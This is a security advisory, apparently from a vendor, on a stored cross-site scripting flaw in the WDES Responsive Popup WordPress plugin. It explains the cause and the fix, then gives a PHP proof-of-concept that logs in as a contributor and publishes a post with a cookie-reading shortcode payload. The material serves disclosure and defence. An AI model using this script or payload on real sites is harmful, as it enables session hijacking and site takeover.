Atomic Edge analysis of CVE-2026-1804 (metadata-based):
The WDES Responsive Popup plugin contains an authenticated stored cross-site scripting (XSS) vulnerability. Attackers with contributor-level or higher WordPress permissions can inject arbitrary JavaScript via the ‘attr’ attribute of the ‘wdes-popup-title’ shortcode. The injected scripts execute in the browser of any user viewing a page or post containing the malicious shortcode.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The plugin likely fails to properly validate or escape user-supplied values passed to the shortcode’s ‘attr’ attribute before rendering them in the frontend HTML. This inference is based on the CWE-79 classification and the vulnerability description. Without access to source code, this conclusion remains an educated assessment of the security flaw.
Exploitation requires an authenticated attacker with at least contributor privileges. The attacker creates or edits a post, inserting the vulnerable shortcode with a malicious ‘attr’ attribute. A typical payload would resemble [wdes-popup-title attr=”onmouseover=alert(document.cookie)”]. The script payload executes when any user, including administrators, views the compromised post. The attack vector operates through the standard WordPress post editor, not a dedicated plugin endpoint.
Remediation requires implementing proper output escaping. The plugin should use WordPress core escaping functions like esc_attr() for shortcode attributes before output. Input validation should also restrict the ‘attr’ parameter to expected safe values. A patch would involve modifying the shortcode handler function to apply these security measures.
Successful exploitation allows attackers to perform actions within the victim’s browser context. Attackers can steal session cookies, redirect users to malicious sites, or modify page content. Contributor-level attackers could target administrators to hijack their sessions and gain full site control. The stored nature means the attack persists and affects all subsequent visitors to the compromised page.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1804 - WDES Responsive Popup <= 1.3.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'attr' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2026-1804
* This script demonstrates exploitation of the stored XSS vulnerability in the WDES Responsive Popup plugin.
* Assumptions based on metadata:
* 1. The vulnerability exists in the 'wdes-popup-title' shortcode.
* 2. The 'attr' attribute accepts unsanitized input.
* 3. Contributor-level authentication is required.
* 4. Standard WordPress nonce verification applies to post creation/editing.
*/
$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: XSS via the 'attr' attribute
$malicious_shortcode = '[wdes-popup-title attr="onmouseover="alert(document.cookie)""]Malicious Popup Title[/wdes-popup-title]';
$post_title = 'Compromised Post - CVE-2026-1804 PoC';
$post_content = "This post contains an XSS payload in the WDES Responsive Popup shortcode.nn" . $malicious_shortcode;
// Initialize cURL session for WordPress authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Get login page to retrieve nonce (if applicable)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);
// Step 2: Authenticate
$postfields = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postfields));
$login_response = curl_exec($ch);
// Step 3: Access post creation page to get nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);
// Extract nonce from the page (simplified pattern - actual implementation would need proper regex)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $post_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
// Step 4: Create a new post with the malicious shortcode
$post_data = array(
'post_title' => $post_title,
'content' => $post_content,
'publish' => 'Publish',
'_wpnonce' => $nonce,
'_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
'post_type' => 'post'
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$result = curl_exec($ch);
if (strpos($result, 'Post published') !== false) {
echo "Exploit successful. Post containing XSS payload published.n";
// Extract post ID from response (simplified)
preg_match('/post=([0-9]+)/', $result, $post_id_matches);
$post_id = $post_id_matches[1] ?? 'unknown';
echo "View the vulnerable post at: " . $target_url . "/?p=" . $post_id . "n";
} else {
echo "Exploit may have failed. Check authentication and permissions.n";
}
curl_close($ch);
?>
